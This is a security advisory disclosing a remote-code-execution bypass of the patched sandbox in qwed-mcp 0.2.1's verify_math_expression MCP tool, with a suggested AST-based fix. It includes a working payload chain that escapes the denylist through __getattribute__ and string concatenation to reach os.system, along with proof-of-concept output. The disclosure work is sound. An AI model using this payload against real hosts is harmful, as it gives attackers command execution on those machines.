---
title: "GHSA-2p69-jpm6-jrxh"
description: "qwed-mcp: RCE bypass of CVE-2026-55546 fix via __getattribute__ and string concatenation (affects patched 0.2.1). Affected and fixed versions of qwed-mcp."
url: https://qwedai.com/security/advisories/ghsa-2p69-jpm6-jrxh
---

# GHSA-2p69-jpm6-jrxh

qwed-mcp: RCE bypass of CVE-2026-55546 fix via \_\_getattribute\_\_ and string concatenation (affects patched 0.2.1)

hey, while looking at the fix for CVE-2026-55546 / GHSA-mw6r-2hvm-4rp2 that landed in qwed-mcp 0.2.1, i found that the new `safe_parser.py` sandbox can be bypassed on the patched version, giving remote code execution through the `verify_math_expression` MCP tool. this is a residual bypass of the v0.2.1 fix, not the original pre-fix issue.

## what the v0.2.1 fix does

commit 362e618 added `src/qwed_mcp/engines/safe_parser.py`, wrapping `sympy.parsing.sympy_parser.parse_expr` with:

-   a regex denylist `_DENYLIST_PATTERN` (safe\_parser.py:30) that rejects literal dunder strings (`__globals__`, `__builtins__`, `__import__`, `__class__`, `__subclasses__`, `__getattr__`, `__bases__`, `__mro__`, ...) and word-bounded keywords (`\bos\b`, `\bsystem\b`, `\bimport\b`, `\bchr\b`, `\btype\b`, `\beval\b`, ...).
-   an empty builtins namespace `global_dict = {"__builtins__": {}}` (safe\_parser.py:46).
-   a `local_dict` of sympy symbols and functions, including `sqrt: sympy.sqrt` and `cbrt: sympy.cbrt` (safe\_parser.py:79).

## the bypass (works on patched 0.2.1)

two problems combine:

1.  the regex only matches LITERAL dunder strings, so splitting a token with string concatenation evades it — `'__glo'+'bals'+'__'` never contains the literal `__globals__`. the denylist also bans `__getattr__` but forgets `__getattribute__` (safe\_parser.py:33), and there is no rule for `__call__` or `.get(`.

2.  `sqrt` and `cbrt` in the local\_dict are real python function objects, so they carry a `__globals__` attribute pointing at their module globals, which holds the real `__builtins__` dict. because `parse_expr` ultimately evaluates the expression with `eval(code, global_dict, local_dict)` (the `eval_expr` step), attribute access on the local\_dict objects is executed as real python.

chain (one line, sent as the `expression` argument):

```
sqrt.__getattribute__('__glo'+'bals'+'__')        # -> sqrt.__globals__   (regex evaded; __getattribute__ not denylisted)
 .get('__buil'+'tins'+'__')                       # -> real builtins dict
 .get('__imp'+'ort'+'__').__call__('o'+'s')      # -> __import__('os')   (.get / .__call__ avoid implicit_multiplication '*-insertion between ] and ( )
 .__getattribute__('sy'+'stem').__call__('<cmd>') # -> os.system('<cmd>')
```

`.get(...)` and `.__call__(...)` are used instead of `[...]` / `(...)` because the `implicit_multiplication_application` transformation inserts a `*` between `]`/`)` and `(`, which would break the subscript-then-call form.

## proof of concept (cold, fresh process)

env: python 3.12.3, sympy 1.14.0, qwed-mcp 0.2.1 source (tag v0.2.1). the attached `poc.py` loads `safe_parser.py` standalone and runs the payload through both `safe_parse_expr` and the MCP tool. outcome:

```
$ python3 poc.py
FUNCTION_ENTRIES: ['sqrt', 'cbrt']
BUILTINS_TYPE: dict has get: True
REGEX_MATCH: None
CONTROL_BLOCKED: SafeParserError Expression contains disallowed construct: '__import__'   # original CVE payload blocked -> fix is present
BYPASS_RESULT: 0 int                          # safe_parse_expr(payload) returned os.system exit code
MARKER1_CREATED: True                          # side-effect file created via public safe_parse_expr
MCP_VERIFY_RESULT: {'verified': True, 'message': 'Calculation verified', 'expected': '0', 'actual': '0', 'operation': 'evaluate'}
MCP_MARKER2_CREATED: True                      # marker created through the MCP tool verify_math_expression
```

the CONTROL line confirms the original `__import__('os').system('id')` payload is blocked on 0.2.1 — so the fix is present and this is genuinely testing patched code. the bypass payload creates a marker file on the host through both `safe_parse_expr` and the `verify_math_expression` MCP tool (math\_engine.py:40 -> `safe_parse_expr`).

## reachability

the `verify_math_expression(expression, claimed_result)` MCP tool (`src/qwed_mcp/engines/math_engine.py`) passes the caller-supplied `expression` straight into `safe_parse_expr` (math\_engine.py:40), with `^` replaced by `**`. in normal use a user asks the model to verify a math expression and the model forwards it to the tool, so an attacker-controlled expression (the documented input class — the `safe_parser.py` docstring says "user-supplied math expressions") reaches `eval` and executes on the host running qwed-mcp. the `claimed_result` argument (math\_engine.py:50) hits the same `safe_parse_expr` sink, so it is a second entry point.

## affected versions

this is a residual bypass of the v0.2.1 fix. it affects qwed-mcp `>= 0.2.1` (0.2.1 is the latest released version and the one that introduced the bypassable `safe_parser`). the prior advisory GHSA-mw6r-2hvm-4rp2 / CVE-2026-55546 covers `< 0.2.1` (the pre-fix literal `__import__` form); this is a separate post-fix vector and is not in that range.

## suggested fix

the denylist approach is fundamentally insufficient for `parse_expr`/`eval` on untrusted input — any literal-string rule is evadable by string concatenation. a robust fix is to walk the AST before evaluation and reject `ast.Attribute`, `ast.Subscript`, `ast.Lambda`, `ast.Starred` and comprehension nodes: every sandbox-escape traversal needs an `Attribute` or `Subscript` node, while legit user math (`sqrt(4)`, `2x`, `sin(x)`, `x^2`, `x**2+1`) never does. attached as `fix.patch`. i verified it blocks this bypass and the original CVE payload while preserving all the legit math forms above (no marker leak).

the deeper fix is to not route untrusted input through `parse_expr` (which uses `eval`) at all, and use a dedicated safe math parser instead.
